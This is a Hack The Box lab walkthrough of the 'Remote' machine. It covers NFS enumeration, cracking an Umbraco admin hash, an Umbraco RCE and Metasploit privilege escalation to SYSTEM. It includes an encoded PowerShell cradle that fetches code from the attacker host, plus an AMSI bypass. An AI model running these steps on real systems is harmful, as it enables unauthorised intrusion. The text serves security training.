HTB-Remote
| OS | Difficulty |
|---|---|
| Windows | Easy |
Nmap Scan
$ nmap 10.10.10.180 -sV -p- -T4 --min-rate 1000 -e tun0
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 20:44 CST
Nmap scan report for 10.10.10.180
Host is up (0.13s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nlockmgr 1-4 (RPC #100021)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
15264/tcp filtered unknown
22011/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
53739/tcp filtered unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 251.51 seconds首先尝试FTP(21)匿名登录，啥也没有，然后对NFS(2049)进行测试，发现网站备份文件，挂载后可以查找到admin凭证
信息收集
$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
$ mkdir /tmp/site_backups
$ sudo mount -t nfs 10.10.10.180:/site_backups /tmp/site_backups
$ cd /tmp/site_backups
$ ls
App_Browsers aspnet_client css Media Umbraco_Client
App_Data bin default.aspx scripts Views
App_Plugins Config Global.asax Umbraco Web.config
$ cd App_Data
strings Umbraco.sdf | grep admin
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change
......将获取到的密码hash进行破解，将收集到的用户名密码备用
$ echo 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > sha1
$ john sha1 --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
baconandcheese (?)
1g 0:00:00:00 DONE (2025-02-23 21:45) 1.694g/s 16650Kp/s 16650Kc/s 16650KC/s baconandchipies1..bacon918
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed. 添加本地域名解析到hosts文件，并访问站点，可以找到一个登录页面
echo '10.10.10.180 remote.htb' | sudo tee -a /etc/hosts 
使用收集到的用户名密码，登录网站，获取网站版本
漏洞利用
通过检索可以在github 找到一个利用脚本：https://github.com/Jonoans/Umbraco-RCE
$ python exploit.py -u admin@htb.local -p baconandcheese -w 'http://remote.htb' -i 10.10.16.30
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.180 on port 49695
[+] Trying to bind to :: on port 4445: Done
[+] Waiting for connections on :::4445: Got connection from ::ffff:10.10.10.180 on port 49696
[*] Logging in at http://remote.htb/umbraco/backoffice/UmbracoApi/Authentication/PostLogin
[*] Exploiting at http://remote.htb/umbraco/developer/Xslt/xsltVisualize.aspx
[*] Switching to interactive mode
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> 将shell 转移到msfconsole：使用multi/script/web_delivery 复制生成的powershell链接，在获取到的shell 上执行，成功获取到shell，查看系统信息为 Windows Server 2019 (10.0 Build 17763)
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LPORT 4446
LPORT => 4446
msf6 exploit(multi/script/web_delivery) > set LHOST tun0
LHOST => 10.10.16.30
msf6 exploit(multi/script/web_delivery) > set SRVPORT 8088
SRVPORT => 8088
msf6 exploit(multi/script/web_delivery) > exploit
[*] Started reverse TCP handler on 10.10.16.30:4446
[*] Using URL: http://10.10.16.30:8088/1JHqco9l
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB6AG4AVABYAGcAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAegBuAFQAWABnAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAegBuAFQAWABnAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMwAwADoAOAAwADgAOAAvADEASgBIAHEAYwBvADkAbAAvAEUATABkAEkAMgBNAFUAUwAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMwAwADoAOAAwADgAOAAvADEASgBIAHEAYwBvADkAbAAnACkAKQA7AA==
[*] 10.10.10.180 web_delivery - Delivering AMSI Bypass (1383 bytes)
[*] 10.10.10.180 web_delivery - Delivering Payload (3703 bytes)
[*] Sending stage (203846 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.16.30:4446 -> 10.10.10.180:49698) at 2025-02-23 23:07:25 +0800
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ 10.10.16.30:4446 -> 10.10.10.
REMOTE 180:49698 (10.10.10.180)
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : REMOTE
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows权限提升
使用 post/multi/recon/local_exploit_suggester 收集信息，查找可以提权的脚本
msf6 exploit(multi/script/web_delivery) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 10.10.10.180 - Collecting local exploits for x64/windows...
[*] 10.10.10.180 - 203 exploit checks are being tried...
[+] 10.10.10.180 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[+] 10.10.10.180 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/cve_2020_17136: The target appears to be vulnerable. A vulnerable Windows 10 v1809 build was detected!
[+] 10.10.10.180 - exploit/windows/local/cve_2021_40449: The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[+] 10.10.10.180 - exploit/windows/local/cve_2022_21882_win32k: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.
[+] 10.10.10.180 - exploit/windows/local/cve_2024_30088_authz_basep: The target appears to be vulnerable. Version detected: Windows Server 2019
[+] 10.10.10.180 - exploit/windows/local/cve_2024_35250_ks_driver: The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2019
[+] 10.10.10.180 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.180 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[*] Running check method for exploit 48 / 48
[*] 10.10.10.180 - Valid modules for session 1:
============================根据查找结果使用 windows/local/cve_2024_35250_ks_driver 进行提权
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set LHOST tun0
LHOST => 10.10.16.30
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set session 3
session => 3
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > exploit
[*] Started reverse TCP handler on 10.10.16.30:7777
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2019
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4628
[*] Reflectively injecting the DLL into 4628...
[*] Sending stage (203846 bytes) to 10.10.10.180
[*] Meterpreter session 4 opened (10.10.16.30:7777 -> 10.10.10.180:49703) at 2025-02-23 23:26:34 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
| Flag | Path |
|---|---|
| Flag1 | C:\Users\Public\Desktop\user.txt |
| Flag2 | C:\Users\Administrator\Desktop\root.txt |